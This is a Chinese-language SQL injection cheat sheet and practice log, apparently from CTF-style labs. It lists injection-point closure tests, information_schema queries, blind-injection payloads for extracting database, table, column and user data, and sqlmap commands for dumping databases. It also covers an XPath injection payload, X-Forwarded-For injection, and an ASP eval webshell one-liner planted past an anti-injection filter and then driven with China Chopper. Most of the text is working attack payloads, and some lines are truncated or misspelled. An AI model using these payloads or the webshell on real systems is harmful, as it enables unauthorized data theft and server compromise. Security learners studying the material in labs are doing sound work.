SQL基礎:
注入點的判斷:
首先判斷該注入點是怎么閉合的,常用的是','),')),",再利用and 1=2,and 1=1判斷閉合是否正確
sql注入常用語句:
普通語句:schema_name——數據庫名;table_name——表名;column_name——字段名;
查詢數據庫:select schema_name from information_schema.schemata--+
查詢數據庫表:select table_name from information_schema.tables where table_schema='數據庫名'--+
查詢字段名:select column_name from infromation_columns where table_name='表名'--+
查詢字段內容:select * from 表名--+
盲注:
先介紹幾個常用的函數:
left(a,b)-----查詢a中數據,返回b個字符
substr(s,n,len)------從字符串s中返回一個長度同len字符相同的字符串,起始於位置n,另外要注意的是,該函數起始位置是1,不是0
CAST函數:語法規則是:Cast(字段名 as 轉換的類型 ),進行數據類型轉換
limit a,b--------a決定返回第幾行的數據,而b決定返回幾行數據
ORD() 函數:ORD() 函數返回字符串第一個字符的
MySQL IFNULL
函數是MySQL控制流函數之一,它接受兩個參數,如果不是NULL
,則返回第一個參數。 否則,IFNULL
函數返回第二個參數。
ascii----返回asciii值
Regexp:是一個正則表達式
接下來就是盲注常用的語句了:
查看數據庫名字長度:id=1' and length(database())=8 %23
猜解數據庫名字:id=1' and left(database(),1)>'r' %23
不斷地將1增加,猜出其余的字符,這里的大於號可以換成等於號(假如你能猜到數據庫的名字大致是哪幾個,可以直接換成=)
猜解數據庫表:id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>80 %23 不斷地將1增加,猜出其余的字符
猜解列名:id=1' and 1=(select 1 from information_schema.columns where table_name='emails' and column_name regexp '^email_id' limit 0,1)--+ 可將紅色部分替換[a-z],確定列名
猜解字段中的內容:id=1' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 --+
sql注入工具——sqlmap
經常使用的語句:
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --current-db #獲取當前數據庫名稱
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --tables -D "db_name" #列表名
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #獲取字段內容
sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" --dump -T "表名" #獲取字段內容
下面是我做題的一些過程:
SQL注入實戰-MySQL
注入點用base64編碼的:用插件tamper
獲取數據表:
獲取字段名:
獲取字段內容:
WordPress插件漏洞分析溯源
Wpscan:專門掃描wordpress一種掃描器,可以掃描插件漏洞,主題漏洞。
根據這些漏洞找到攻擊點:找到一個漏洞時,打開鏈接,根據鏈接的內容,對網站進行攻擊(主要是通過注入找到后台用戶名以及登錄密碼)
Access防注入系統:
在id=1后面添加sql語句,根據頁面返回的結果,進行注入。
id=1 and 1=<%eval request('aaa')%>
發現頁面只返回了and1=,將一句話進行編碼,然后提交,返回一句話,但是查看sqlin.asp頁面時發現被過濾了,被過濾了,網上找了幾個放過濾的一句話
經過嘗試第三個可以繞過過濾,再次查看sqlin.asp頁面,顯示成功插入。
接下來鏈接菜刀,拿到key
Xpath注入:
http://219.153.49.228:49950/demo.php?name=xml']|//*|//*[' --+
'] 為閉合前面的節點
| 為分別執行,符號前后的路徑都要查詢
//* 為匹配所有節點
//*[' 為匹配后面的內容
X-Forwarded-For注入漏洞實戰:
正常的注入無法注入
抓包【這里是將sqlmap和burpsuite結合起來注入,將包中的文件保存到本地,然后利用sqlmap:sqlmap.py -r file.txt --dbs進行注入】
手動加上X-Forwarded-For |
將包中的數據復制粘貼保存到本地,將sqlmap和burpsuite結合起來使用
利用sqlmap進行注入: